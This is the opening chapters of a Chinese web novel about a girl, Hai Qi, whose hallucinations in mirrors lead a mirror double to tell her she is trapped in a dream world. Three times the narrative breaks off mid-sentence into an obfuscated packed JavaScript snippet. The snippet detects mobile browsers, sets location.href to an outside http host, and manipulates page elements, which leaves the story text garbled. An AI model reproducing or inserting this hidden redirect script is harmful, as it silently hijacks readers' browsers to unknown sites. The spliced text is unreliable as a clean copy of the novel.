《攻略梦境计划[无限流]》 1. 幻觉还是噩梦? “醒醒……” “别睡了……” “快回来……” …… “哥,我出门啦!” 海旗刚穿好鞋,一边打开包检查有没有漏带东西,一边头也不抬地喊了声。 海珀半躺在沙发上看书,漫不经心地应声:“嗯,路上小心。” 高考完十天过去,海旗就在家里吃了睡睡了吃歇息了十天,说是要把高中三年缺的觉都补回来。 和同桌兼闺蜜的徐蕊早在高考前一个多月约好,等考完试就一块儿去大改造,然后再来一场毕业旅行。徐蕊还想去看演唱会,也打算硬拉着海旗陪她。而今天这一切终于要提上日程了。 一出门,海旗就发了消息:蕊蕊,我出门啦~ 徐蕊秒回:我已经快到了!你要是敢迟到你就完了! 这家伙又提前出门还催我! 海旗立马跑着下楼快速打了个车,搭公交什么的根本来不及了。半小时后,两人在约定的商场成功会面。又因为还是让徐蕊等了十分钟然后被“暴揍”了一顿,海旗吐槽明明是她早到了,自己可是掐着时间刚刚好的,被徐蕊回怼明明是她当了快半个月懒虫赖床不起导致的。 大改造的第一步是发型。为了今天,徐蕊已经期待好久了,一直在网上找攻略,最终看中了这家商场里的高端美发沙龙。说是刷到不少他们家的视频,点赞高好评多还很火爆,不少人都是慕名而来。重点是大家都是笑着走出去的,踩雷率低。 “旗旗,你是不是要把头发留起来啦?”徐蕊拉着海旗的手一边倒着走,一边撩起她齐肩的头发,“你长头发那会儿多好看啊!” 刚上高中时海旗还是及腰长发,本就清冷的骨相,与黑长直尤为适配,曾在学校的回头率极高。不过后来因为课业重,嫌长发洗头麻烦又耗时,分科后不久就剪短了,一直没蓄起来过。 海旗抓了抓自己的头发:“有这个想法,大学生活还是想从美美地换个头开始。今天就先去给它换个颜色!” 徐蕊立刻兴奋地跳起来:“我也是这么想的!我跟你说,我已经决定好我的新发型了——金发大/波浪!为此我特意买了副蓝色美瞳,烫完后戴上,我就是金发碧眼大美女的代言人!” 随后站定,挺胸收腹翘/臀凹了个性感造型,把长发往后一甩,伸出食指挑起海旗的下巴,看起来自信又张扬。 “这位美丽的小姐,做好准备跟我私奔了吗?” 海旗配合地拉住她的手演绎:“我亲爱的女王殿下,走吧,私奔的第一站,五楼美发店。”而后反客为主地拉着她往前走。 “诶!要摔了要摔了!”徐蕊好不容易调整好脚步,才反问道,“那你呢,你想好什么新发型了吗?终极选择困难症患者?” 海旗迅速后退一步,逃离即将伸到腰间的魔爪,嘿嘿一笑:“想好啦,我还是坚持初心染个孔雀蓝吧,再烫点微卷,肯定酷!” 徐蕊被戳穿偷袭的心思,悬在半空的手转而竖起大拇指:“哇哦!帅的!那到时候不是得我来当老婆了?” “是的呢,来嘴一个~”海旗配合着凑近。徐蕊赶紧推开人逃走,大叫着躲开:“别别别,我初吻可是留给我爱豆哥哥的,你不许碰!” 两人以一个搞笑的扭曲姿势僵持了好一会儿,对视静默几秒,然后不知道哪根筋搭错了,旁若无人地爆发大笑。路人们吓了一跳,纷纷回头看,看看这两“傻子”究竟在干什么。 海旗笑得肚子都痛了才停住,等意识到这是什么场合后,脸上染上一层窘迫的红晕,拉着笑得还没停的徐蕊逃似的跑上楼。 每次跟徐蕊一块儿,不是在丢人,就是在丢人的路上。纵使丢人多次,海旗还是脸皮薄,每次疯完还是觉得尴尬要逃。而徐蕊乐此不疲,下次继续。 上到五楼美发店,一进店就看到几个与她们年纪相仿的男孩女孩顶着一头装备,看起来没几个低调的。一看就是同款高考生。Tony们熟练地接待她们,很快沟通好开始操作。 分给海旗的Tony是个话痨,一直在她耳边讲话:“小妹妹也是刚高考完吗?最近店里来了好多跟你们这样的,你看那边几个都是!” “嗯。”海旗不是很想搭话,坐得笔直,头不敢乱动一下,任由他操作自己的头发。 Tony仿佛没察觉,继续问:“小妹妹很有个性啊,染孔雀蓝,喜欢二次元吗?” 海旗:“是……” Tony:“你长得也好看,我感觉你适合长发,留个黑长直,cos个高贵冷艳的角色绝对还原度百分百。” 海旗:“……嗯。” Tony:“真的,你的骨相和气质都更适合长发,咱们这里也可以接发,直接一步到位!小妹妹可以考虑一下啊?” “……”海旗无语了。 这会儿头发都在打卷儿了,推销也不是这么推销的啊!算了,沉默吧,Tony请自觉闭嘴好吗? 海旗提溜着眼睛去找徐蕊,看了半天却没找见人。Tony察觉到她动作,好心地给了答案:“找你朋友吗?她在楼上洗头呢。” 闻言,海旗考虑了一下,还是开口接话了:“哦……那个接发就不用了,谢谢啊。” 还好Tony比较识趣:“行,不过要是什么时候有想法了,欢迎随时过来找我。” 海旗松了口气:“好的一定。” Tony:“那行,现在给你上仪器了,时间比较久,有什么不舒服的随时喊我哈。” “好。” 终于暂时安静了。那边徐蕊也洗完头出来了,坐到旁边立马拿出手机怼着她边拍边笑。海旗顺着她视线往上瞟,什么都没看见。但也知道这是在笑她满头包租婆的扮相。 海旗瞪了她一眼,刚好被按下快门。抬手想打但是被仪器固定住,只能无声指控:“笑个屁!你给我等着!等下你也一样!” 徐蕊点开刚拍的照片在她面前晃了两下,嚣张地吐了吐舌头,扯了个鬼脸。海旗翻了个白眼,直接闭目养神假装不认识,眼不见为净。徐蕊则偷偷关掉声音,又无声地咔嚓了好几张。 经过漫长的等待,商场都打烊了,海旗才率先改造完成,就等徐蕊了。 店里除了她们没有其他顾客了。徐蕊还在和她的Tony相谈甚欢。 海旗在镜子前美美地欣赏。及肩的头发被修短了一点,烫了点纹理感,看起来更精致了,深蓝的发色更显冷艳酷拽。 无需特意摆pose,稍微调整下角度就能拍得很好看。正要点下快门键,结果手机弹出来语音电话,忘记已经开了铃声模式,炸响的音乐直接把海旗吓得手机差点摔了,徐蕊听见动静看过来,一阵无声地“嘲笑”。 镜中飘出几缕浑浊的黑烟,无人察觉。 看清屏幕上的“哥哥”两字后,才呼了口气点下接听。 “哥,你吓我一跳!” 海珀在手机那头低笑:“胆小鬼。你们好了吗?我去接你。” 海旗:“好呀。我刚弄好,等徐蕊呢,也马上了,你现在出发过来时间就差不多了。爱你哦哥哥。” 海珀那边传来窸窸窣窣收拾东西的声音:“嗯。饿不饿,给你们带点吃的?” 这才想起,她们两晚饭都没吃一直等到了半夜,海旗的肚子很应景地叫起来:“要要要,想吃烧烤了!” “嗯,等我到了你们再下来带你去吃,一会儿给你发信息。” “好。” 挂断语音后,继续自拍。一抬眼就发现了诡异的一幕: 镜子里的自己一动不动,保持着接电话前调整好的角度,身体溢出黑色的烟雾,在白裙上格外鲜明。左手拿着手机原本是举着遮住脸的,此刻被移开露出右半边脸;而原本望着屏幕的眼睛,正透过镜子直勾勾地盯着她,黑色的瞳仁逐渐被血色覆盖,连眼白也被染上红,渗出血泪;鲜红的唇勾起诡异的弧度,渗人的笑声犹如3D旋转音效刺入耳膜,震得心脏怦怦跳。 海旗与之对视良久,忽然骤静,镜中之人红唇微启,念着什么咒语般,引诱她靠近。耳中传来电流般的“滋滋”声,接着就是索命般的声调:“……海……旗……” 听见叫的是自己名字,海旗被吓得怔住了,想逃开身体却仿佛被钉在椅子上,动弹不得,巨大的恐惧感笼罩而下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585995|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……醒……逃……” “什么?”海旗心跳得极快,又从恐惧中生出疑惑。想开口询问,也发不出一丝声音。 突然一只手从背后拍在她肩膀上,惊吓中惊叫出声:“啊!” 一眨眼,镜子里的自己恢复如常,一切仿佛烟消云散。自己也能动了,只剩心跳还未平息。 转头发现是徐蕊,捂着耳朵避开她的尖叫:“嘿,这是被新美貌迷倒了吗?叫你几声都不应我!” 仿佛方才所见皆是幻觉。 海旗缓了一下,一巴掌拍在徐蕊背上:“要死啊你!吓死我了!” 这不是她第一次出现幻觉了。长期睡眠不足真的很要命,补了几天觉还是精神不振又发作了,总是这样突然出现,又突然消失。谁顶得住啊! “哎呀!”徐蕊被拍得踉跄一步,立马进入状态娇嗔一声,“好疼~” “咦~徐蕊你好恶心!”海旗把脸皱成苦瓜,很是嫌弃道,“快收起你的矫揉造作,赶紧吹好你的渣女大/波浪,一会儿我哥来接我们。” 闻言,徐蕊两眼放光:“哇撒~真的假的!大帅哥难得露面啊!Tony老师快给我吹美一点!” 海旗“挖苦”她:“别想了渣女,我哥是妹控,独宠我一人。你休想横刀夺爱!”徐蕊“切”了一声,吹风机的声音大,打算晚点再回怼。 海旗再次转过头去看面前的镜子,已无异样发生。点开手机发现方才慌乱中拍下了一张稍显迷糊的照片。照片里,镜中的自己举着手机挡住脸,完美凸显出她的蓝色短发,整体来看又酷又拽。 并没有黑烟血泪红唇。 徐蕊很快也结束了,非常满意地拉着海旗大拍特拍好一会儿才去结账。Tony依照惯例再次给她们推销办卡,被徐蕊严词拒绝了。 Tony只好放弃,赠送了一次免费护理。算好价钱付账时,海旗一抬头看见收银台整个被黑雾包围,Tony们在其中逐渐扭曲变形,灯光被吞噬,夜幕降临。 徐蕊不见了。 大地在震颤,脚下砖瓦已经破碎,被黑暗吞没。周遭一步步退化成线稿版,那是比呐喊还要抽象的线条。 徐蕊去哪儿了? 诡笑声与电流声呵呵嗞嗞充斥着耳膜,与先前幻觉中的是同个声音。不同的是,这会儿吐字更清晰了:“别再……梦下去……了……” 海旗再次怔住,说不上是恐惧还是迷茫。身体止不住地抖,但是这次问出声了:“……什么?” 没有人回答她,那个声音一直重复着这句话。但仔细一听,似乎还能听见身旁的徐蕊和Tony问如何保养头发的谈话。 还好,徐蕊还在。 不止徐蕊,时间也好似回到白日里人潮汹涌时,路人形形色/色地谈论、吐槽,耳边声音越来越嘈杂。眼前的黑白线稿却还在绕个不停,黑烟汩汩往外冒,逐渐膨胀,直到把海旗包裹其中,动不了喊不了。 “砰!”黑雾爆炸了!随后,一切戛然而止。 “咻!”黑暗被一扫而光,伴随着的黑白线条、嘈杂声也都消失不见。 这次徐蕊是真的不见了。 灼眼的光,死寂的静,刺骨的冷。 下意识闭眼抬手挡光,再睁开时,伴随着“嗖”的一声,是下坠破空时发出的尖锐声,失重感晚来一步。 收银台乃至美发店,脚下的商场,全都消失了,变成一片蓝天白云。 海旗在空中,在下坠。 只有她自己。 “哥哥……你在哪儿?” “我害怕……” “海珀……” 恍惚间,熟悉的声音从天际传来,由远及近:“小旗,哥哥在呢。”身体被温暖包裹,一点点逼退严寒。 海旗闭上双眼,贪/婪地汲取这抹温暖。再次睁开眼,发现自己正被海珀抱在怀里,轻拍着背,而她的双手在虚空抓着什么。 “又做噩梦了?”见海旗终于醒来,海珀的一只手往上揉揉脑袋,温柔的声音驱散阴霾。 海旗双目无神,显然还没脱离梦境的实感,下意识抱紧温暖的源头。听到熟悉的声音,轻轻“嗯”了一声。 2. 记忆断层? 海旗吐掉嘴里的泡沫,问了一句:“爸妈出门了?” “嗯。”海珀把包子放进微波炉加热,又端来一碗汤粉,“老妈给你买了你爱吃的粉,赶紧来。” “噢。” 一捧冷水泼到脸上,彻底清醒了。坐回梳妆台拿起梳子准备梳头,一抬头看见镜子里的自己,是一头孔雀蓝的微卷短发,正是梦里的模样。 那不是……噩梦吗? 幻觉又出现了吗?还是……这就是现实? “我的头发……”海旗抓起头发查看,一脸不解,不敢相信眼前所见。 她不是约了徐蕊今天去做头发吗,怎么已经做染完烫完了? “睡蒙了?”海珀不知何时过来的,倚靠在门口看她,打趣道,“这不是你昨天刚染的吗?还跟徐蕊拍了好多照片发朋友圈呢,做个噩梦吓失忆了?” “是这样吗?”海旗愈发感到惊慌,因为她脑子里压根没有一丝染发的记忆! 海珀只想逗逗她,见她盯着镜子越发的慌乱,抓着头发的手也越来越用力,再不阻止恐怕头皮都要被扯下来。 “小旗!看我小旗,”海珀掰着海旗的肩膀转过来,握住她的手引导着松开头发,直视她的眼睛,“冷静、冷静点。小旗,看着哥哥,哥哥在这儿呢!没事了啊。” 海珀温柔且耐心地重复了好久,海旗才从迷离的状态中挣脱,呜咽一声:“海珀……”眼泪随之而落。 海珀将她搂进怀里轻声安抚,嘴里重复着“没事了”。 哥哥的怀抱很温暖,这里是现实没错。 很快,海旗平复好情绪去吃早餐。一边吃一边翻看朋友圈,看到她和徐蕊都各发了一条朋友圈。 一样的配图:一人一张展示新发型的单人照,两张合照;不同的文案:徐蕊的是“请为两位女王着迷吧!”周围还跟了好几行颜文字,海旗的则是简简单单的“女王”两个字,后面带个爱心符号。两条朋友圈下还有不少同学点赞评论夸奖的。 这也验证了海珀的话。 点开和徐蕊的聊天框,最后一句话还是她发的:“我真的好喜欢我的新造型!”海旗没有回应该熬不住先睡着了。页面往上翻,有两人互相发的好看照片,点开相册也印证了照片确实是自己拍的。 这究竟是怎么回事?选择性失忆了?记忆断层?怎么就想不起来了呢? 偶尔出现幻觉做做噩梦就算了,怎么还不记事了?如今梦境与现实都分不清了,跟老年痴呆似的。 嘶~不会吧!我才十八岁啊! 想得入迷,她又发呆了。海珀伸手在她眼前晃了晃:“香迷糊了?口水马上掉汤里了。”同时,手机响了一声。 “嗯?”海旗回过神来一抹嘴角,“哪有口水?”见碗里还有一半粉没吃,“我……吃饱了,不要了。” 海珀瞄了一眼:“就吃这么点?别浪费粮食,吃完啊,你平时是这个饭量吗?” “哦。”海旗这才安心把粉吸溜完,把碗推给海珀收拾,拿过包子边啃边按亮屏幕。是徐蕊发来的信息:新美貌万岁! 而后就看到她已经换上了新自拍的头像。 海旗犹豫了一下,还是跟着打下“新美貌万岁!”几个字回过去了。然后转移阵地窝到沙发上,一边打开手机摄像,一边拿个小化妆镜反复观摩那头蓝毛。 虽然种种迹象表明,她昨天真的和徐蕊去做了头发,但无论如何都记不起来一丝一毫细节。梦里的不真实也在慢慢淡忘。 一本书忽然被砸进怀里,接着手中的化妆镜就被抽走了。 海珀说:“别看了,盯两小时了。看会儿书静静心吧。虽然高中生涯结束了,但也别太散漫,小心大学荒废四年。” 海旗立刻反驳:“我才不会呢!虽然我没你天赋异禀自学成才。但是!我也不差好吗!咱们好歹一胎双生,请对我有点信心!我是那种颓废的人设吗?”揉了揉被砸痛的小肚子,拿起书一看,是一本历史相关读物。随意翻了几页又扔回怀里,实在是没心情看。 “好啦,我知道你不会荒废自己的。”海珀揉了揉她的脑袋,“你想好去哪所学校了吗?” “还没出分呢,反正你的学校我是无缘了,不过我重本应该没问题。”海旗又把镜子拿回来。 海珀的目光跟着她的手:“嗯,付出就会有回报的,这三年你很努力,一定没问题。怎么还没看够这小蓝毛?” “哥……我可能真的失忆了。”海旗突然语气凝重,“我没有昨天做头发的记忆,而且不止做头发,昨天出门前、从美发店回来后发生的所有事情,我都想不起来。我是不是熬夜熬多了遭报应啊?” 海珀也认真起来:“真的一点都想不起来了?”又伸手探她额头,体温正常没问题。 海旗摇摇头:“一点都想不起来。” 海珀思虑片刻:“收拾一下,我带你去医院吧。” “啊?”海旗用力地摇头:“不至于吧?我没啥不舒服的地方,而且……而且到时爸妈问起来要怎么说啊?” 海珀不解地看她:“爸妈问就如实说,又不会骂你,担心啥?要是真的生病了就好好治,早治早好知不知道。” “……哦。”是啊,爸妈又不是什么不近人情的人,为什么下意识会害怕被他们知道?莫名其妙的。 海旗小声道:“那……你帮我挂号。” 海珀已经在线上操作了:“嗯。我去收拾一下,中午我们在外面吃吧。”说完就进房间了。 海旗把书放回书架,继续照着镜子发呆。酷酷帅帅的倒也挺好看,是她理想中的效果。 可是怎么就是一点都想不起来呢?怎么就失忆了呢?感觉少活了一天,亏大发了——不会以前也出现过这种情况吧!高考前要是也有过……那会不会影响我高考成绩啊! “因为你的记忆被人抹除了呀!”镜子中传出一道阴森森又甜美的童音。 “啊!”海旗被吓着了,下意识将镜子扔出去摔碎了。 海珀听到响声赶忙出来:“小旗?怎么了?” 海旗哆哆嗦嗦指着地上的碎片:“镜……镜子里有声音……” 海珀顺着看过去,地上只有破碎的镜子。走到她面前蹲下:“别怕啊,只是普通镜子摔碎了而已,没事的。” 海旗把头靠在他肩上,声音闷闷的:“嗯……” “去洗把脸,我们现在就出门。”海珀扶正她,拭去眼泪。 看海旗听话地进了厕所,海珀低头打量了一番地上的碎片,才拿来扫帚收拾。 洗完脸出来,海旗拿起桌上的杯子想喝口水,手上有痒意。转手一看,是一只小强在手背上爬。淡定地将它拍死掸走,把杯子里的水倒掉重新倒了一杯。 可水壶里倒出来的却不是水,而是密密麻麻的小强! 它们体型很小,都是刚出生没多久的幼虫。 海旗仿佛看不见一样,还在麻木地倒“水”。杯子很快就满到溢出来了也不停,往桌上、地上蔓延爬行,整个屋子都是窸窸窣窣的声音,有些还沿着把手爬到手上和身上,将整个人淹没吞噬。 海珀再次从房间出来时,海旗睡在沙发上。小强消散无踪,水杯和水壶掉在地上,咕噜噜晃动,仿佛什么都没发生过。 他“啧”了一声。把水壶水杯捡起来放回桌上。 “小旗?怎么又睡着了?” 海旗被晃醒时,怀里抱着书和镜子。将两样东西放好后,心中升起疑惑:咦?我怎么记得书已经放回书架,而镜子摔碎了呢? 是梦吗?又做噩梦了? 海珀捏了捏她脸蛋,催促道:“快去洗把脸,出门了。” “哦。”海旗揉了揉眼睛。这对话怎么感觉很熟悉? 从厕所出来,想倒杯水喝。下意识往杯子和水壶里看了一眼,确认水是干净的才放心喝下。喝完又疑惑为什么要有这个动作。 “小旗,走了。”海珀已经换好鞋在等她了。 “来了。” 等电梯时,海旗又打了个哈欠。 海珀又揉她脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585996|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋:“困了?还是不舒服?” 海旗随口道:“困了,可能昨晚弄头发搞太晚了,又睡眠不足了。” “嗯?昨晚?”海珀摁着脑袋让海旗转过来,“你想起来了?” “什么?”海旗满脑袋问号,“我又没失忆,为什么会想不起来?” “你刚不是说对昨天发生的一切都没有记忆,什么都想不起来了?”海珀转而想到,“那你知道我们现在要去哪儿吗?” “不知道啊,你喊我就来了。”海旗如实道。 “……”这医院是非去不可了! 海珀复述了一遍从起床到出门前的细节,告诉她现在要去医院,且病人是她。 海旗在电梯里辩解:“不能吧?我记性很好的,昨天的事我记得很清楚啊。来,你听我给你陈述一下: “我早上九点起床玩游戏被你训了,然后去看书了,中午吃完饭就出门找徐蕊了。我们碰面之后还发癫了,这个有点丢脸就不细说了。然后她染了个骚里骚气的金发波浪卷搞到了半夜,这我能忘?负责我的那个Tony还给我推销接发呢,对话尬得要死我都不想吐槽。然后我们结账走的时候,商场都关门了,夜深人静的,还是你来接我们的。吃了点零食垫肚又去吃了顿烧烤,徐蕊还一直在我跟前秀她新发型呢,这我能忘?之后我们那些有点傻颠的事你可没少看到,警告你不许乱说毁我形象啊!” 海珀想起昨晚的状况,无语片刻,又继续问:“那刚刚出门前呢?还记得多少?” “就……生物钟使然,早早起床吃了个早餐,然后你让我看书,聊了一下高考志愿,问我想去哪个学校。然后我就看书看睡着了。”海旗一边走出电梯一边答。 海珀执意道:“你说的倒是都没错……不过还是去医院检查一下保险点,没事就当体检。你高中尤其高三没少熬夜,看着就虚,也该去调理一下。” “一定要去吗?”海旗的脸都快皱成包子。她不喜欢去医院,不喜欢消毒水的气味,最重要的是她害怕打针。已经想掉头回家了。 “一定要去,都挂号了,退不了。”海珀拽着她胳膊往前走。 海旗满脸不情愿地嘀咕:“去就去嘛,哪里退不了了真的是。” 到医院后,海珀先给爸妈打了个电话。 那边刚挂,海旗这边就来电话了,立马跟妈妈告状哥哥“惨无人道”的行为,但妈妈很担心,自然和海珀统一战线,叮嘱她要听医生的话。 “哥,我紧张……”海旗坐在椅子上像条虫子扭来扭去。 医院这会儿人多,还在排队,等待之间越来越不安。 “我去个洗手间。”一紧张就想上厕所。 “那你快去快回,快到我们了。”海珀看了看排号。 洗完手还想赖一会儿不想那么快出去,镜子突然汩汩黑雾往外冒,伴随着滋滋作响的电流声,瞬间将海旗包裹其中。 洗手间人来人往,却没有人注意到这一幕。大家都专注着自己的事情。 浓雾似乎有毒,海旗吸了一点就动弹不得,嘴巴微张,却发不出一丝声音,只能瞪大双眼望着,肢体正以怪异扭曲的弧度缓缓爬出镜子的自己,血泪红唇。 不止如此,后面好像还跟着什么不得了的东西。依稀瞧见一团黑影,将近两米高,还有两根须状物越到前头探出去。 镜中的“海旗”爬出来半截身子,双手撑着洗头台,双目死死地盯着海旗,两人还贴得极近。 但“她”没有触碰海旗,两人隔着大约半指的距离,互相瞪眼。 电流声急促,须状物尾部连接的脑袋马上就要越过“海旗”显现。“她”察觉到情况不对,想开口说话,却发不出声,看起来有些急躁。很快又接受现实般,泄气地转回头把不知名生物摁回去了。 海旗的视线跟着转动,看清了那不知名生物的真面目——虽然只露了半个脑袋,但还是一眼就能认出来,这是一只小强!一只比人还高大的小强! 或者说,应该称之为超大强更合理! 3. 梦境还是现实? 黑雾在往镜子里缩,即将消失前,镜中的“海旗”回过头,张嘴说话,说完就迅速消失了。 没有声音,但胜在说得够慢,能通过口型看明白她说了什么:“海旗,我会再来找你的。下次跟我回去吧。” “她”一离开,海旗就能动了。 会再来找她?还有……回去?回哪儿去?究竟是什么意思? “小旗,怎么这么久?别赖着了,下一个到你了。”海珀在外面喊她,把她唤回神了。 “……哦,马上好了。”海旗应道。 出去前,又盯着镜子看了好一会儿,还伸手敲了敲。然后就感觉到周围莫名的视线,这才尴尬地跑出去。 或许真如哥哥所说,她生病了? 可是为什么呢?是高考压力太大?还是熬夜熬太多?可如今也考完了,补觉也在补着,作息也在调整了啊? 而且她抗压能力也不差,会适当解压。复习期间即便时间紧,但到了该休息时,就算自己表示能坚持,海珀也会拽着她强制休息。她身体也挺好的,平时都很少生病。 思来想去,也就长期熬夜比较说得通。就算真的熬出病……莫非因为考完了,身心一放松,毛病就找上门来了? 那刚才看到的这些又是什么?幻觉?还是发病?难道这些东西是我臆想出来的? 不要啊——我的大学生活还没开始享受呢! 暑假期间能不能治好啊?可以的吧!我要相信医生! 做完检查后,医生表示让她住院观察。海珀本就胆心,马上去办了住院手续,还回家一趟拿了换洗衣物来。 晚上爸妈下班后来看她。妈妈尤其担心,一来就拉着问东问西问海珀问医生问护士问了个遍,还请了一天假照顾她。 原本要请假照顾她到出院的,最后被海珀劝回工作岗位去了,说自己就有空照顾,叫妈妈不要太担心。 不过当晚,还是拗不过妈妈要留在病房里陪她。说海旗第一次住院,心里肯定害怕。 医院的病床实在狭窄,翻身就要大动作,海旗怕吵着妈妈,一直直愣愣地躺着。而对面床的大叔大婶却打着雷鼾,隔壁床的大娘没几分钟翻一次身,床摇得咯吱响。 海旗只好失眠了。 躺在床上望着天花板,脑子里一段段天马行空的小故事在其中上演。 快把自己催眠之际:“你没有生病哦!”虚空的童音从四面八方而来。 这道稚嫩的声音陌生中带着一丝熟悉,海旗一下就猜到是中午在洗手间里,是镜中“海旗”的声音。与本人是天差地别的嗓音。 “嘘!不要给别人添麻烦哦。”见海旗满腹疑问,那道声音又道,“想知道真相的话,走廊尽头有镜子,我等你哦!” 没有一丝犹豫,海旗马上轻手轻脚地起身了。探头观察了一下,这会儿没有护士巡房。走廊尽头确实有个仪容镜,很快就蹑手蹑脚地摸索过去了。 “你来啦,海旗。”镜中的自己露出愉悦的笑容,并抬手打了个招呼。只是这半夜三更,空荡又阴森的医院,镜中的自己逐渐渗出血泪红唇,很是渗人。 海旗双手环抱获取安全感,暗暗掐了一把手臂内侧的肉。这儿的肉娇嫩,掐起来极其疼。强烈的痛感告诉她这不是梦。 尽量保持淡定地问:“你是谁?” 镜中人说:“我是来救你的!这个世界并非真实。”声音如鬼魅空灵,在走廊里久久回荡。 海旗蒙了:“什……什么?”除了这两字实在不知道还有什么能表达自己此刻的心情。 “这里……是你的梦,是以你的意识筑基的梦境。” 镜中人往右挪了一步,空出镜面,似乎要展示什么:“而你,被困于梦境之中。” 镜中的景象幻化成黑白线稿快速扭曲重建,逐渐浮现的一方天地愈发熟悉——那是她的家,是一家四口日常其乐融融的场景。 镜中人说:“看起来很温馨对吧?不妨再仔细瞧瞧?”说完手一挥,场景被放大。 为了印证这并非假象,海旗看得很仔细,不放过任何一处角落。 可被放大的家,仿佛有什么滤镜一般,以海旗为圆心的一方天地是自然流畅的,跌出圆心外的则是大片模糊的。譬如,一家四口在餐桌有说有笑吃饭的场景是鲜活明亮的,而客厅乃至房间的一切物体,沙发、茶几、电视、柜子等,只能用块状来形容,依稀看得出轮廓,但没有细节纹理。 而海旗一靠近,这些模糊的块状物才有了质感。原来沙发是米色软软的,还有两个套了卡通图案的抱枕;茶几也是配套的米白,上面纸巾遥控器果盘零食啥都有;电视也很流畅地播放着热播剧,妈妈去拉柜子抽屉找东西时,抽屉里一如被吐槽的那般凌乱。 镜中景象切换,由家里到教室。这一幕是高三晚自习课上,全班埋头苦习,但这些原本亲近的同学,竟然都是模糊的,包括徐蕊。海旗下意识地想起徐蕊,依然是清晰明媚的好闺蜜。可也注意到,在这个形象出来前,意识中有一瞬间对徐蕊这个人是模糊没有概念的。这是正常的吗? 紧接着第三幕是高考完走出考场后,家人迎上来拥抱,周遭的路人除却模糊块状,甚至没有了该有的流动;第四幕是每天遇到的邻居和路上擦肩而过的每一个陌生人,在视线之外的地方由具象的个体退化成块状人…… 除了肉眼所见的外观,声音和气味等所有的一切,一旦跌出圆心之外就都是模糊的。 就好似这个世界就是为海旗而诞生的。海旗就是这个世界的中心。所有人都会围绕着她行动。不只是人,环境也是如此。 有用的人会成为海旗的家人、朋友、老师、同学等,也必须有人充当背景板才显得这个世界真实。 而这片空间更以外的地方,则是一片混沌。 镜中人发出邀请:“海旗,我们回去吧。” 海旗轻声问:“……回哪儿?” 镜中人答:“现实。” 海旗犹豫了一下,继续问:“……怎么回?” 镜中人说:“只要你想回去,我会想尽一切办法带你回去的。”诡异的声调透出坚定的语气。 海旗说:“要是我不想呢?” 镜中人说:“要是你不想,那我就找不到你了。” 海旗:“……” 海旗说:“但其实……你也不知道要怎么离开这个梦境世界吧。” 镜中人沉默了一会儿,说:“不,我知道。重要的是你的意愿。” 海旗沉默了。她回头往病房的方向看。 此时此刻,妈妈正睡在病房的折叠床上。折叠床很劣质,打开它时就总是吱呀响。妈妈睡在上面都不敢有大动作,生怕吵到她,也怕把它睡塌了。 床边的桌上放着几本哥哥带给她解闷的书,怕她在医院太过紧张害怕,带的还是她囤了三年没看的小说。 海旗的眼中满是落寞:“你是说,我现在拥有的这一切,都是假的吗?” 镜中人点头,说:“我可以给你一点时间,让你去看清虚实,再来决定。” 海旗思索片刻,点头表示同意,转身就要回去病房。 “等等,”镜中人喊住了她,“靠过来。” 不知为何,海旗对“她”有种莫名的信任感,没多加犹豫就靠过去。也许是镜中之人就是自己的模样吗? 两人隔着镜片额头相抵,双目轻闭,双手相贴。片刻后,一道白光闪过后,就让海旗回去了。 妈妈在折叠床上睡得不是很好,眉宇紧锁,手指紧抓着床单,不知道是不是因为担心女儿做了噩梦。海旗抚平妈妈的眉心,蹲在旁边看了好久。 这么爱她的妈妈是假的吗?是她虚构出来的?这一切真的只是她构造的一场梦吗? 就这么想着,突然周遭环境崩裂,整个病房都在胡乱扭曲。 鼾声和床的吱呀声变成欢快跳动的音符在空中飞舞,床头那几本书被翻开,一个个小人儿从中跳出来,演绎只属于他们的故事。妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585997|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她眼前漂起来,怎么都抓不回来,好不容易碰到又像沙子一样瓦解消散。 海旗看着眼前的一幕幕,不可置信地又掐了一下手臂内/侧的嫩肉。 会疼,而且好疼。 可是为什么会疼?这不是她的梦境吗?既然是梦,为什么还会疼?梦里是没有痛感的,这不是常识吗? 海旗想让这一切恢复原状,结果也如她所愿。病房安静下来,音符归位,小人儿有序地跳回书里去,一切回归原位。 又往病房外走,路过护士台,看着护士们逐渐鲜活又枯萎。而只要她想,没人会来阻拦。 海旗倒回去向护士要了个陀螺,而护士也真的不知道从哪儿变出一个陀螺给她。狂奔下楼,找了片空地转动陀螺。可是,这个陀螺无论如何都不能转起来,总是失衡歪倒。 按理来说,在梦中,陀螺会无视物理规律无限旋转。 可如今的情形是陀螺无法旋转,就像是海旗最后的意识在做挣/扎——这里就是现实! 海旗漫无目的地走在街上,鬼使神差地拿出手机给海珀打去语音电话。这会儿是凌晨,从不熬夜的哥哥却秒接了。 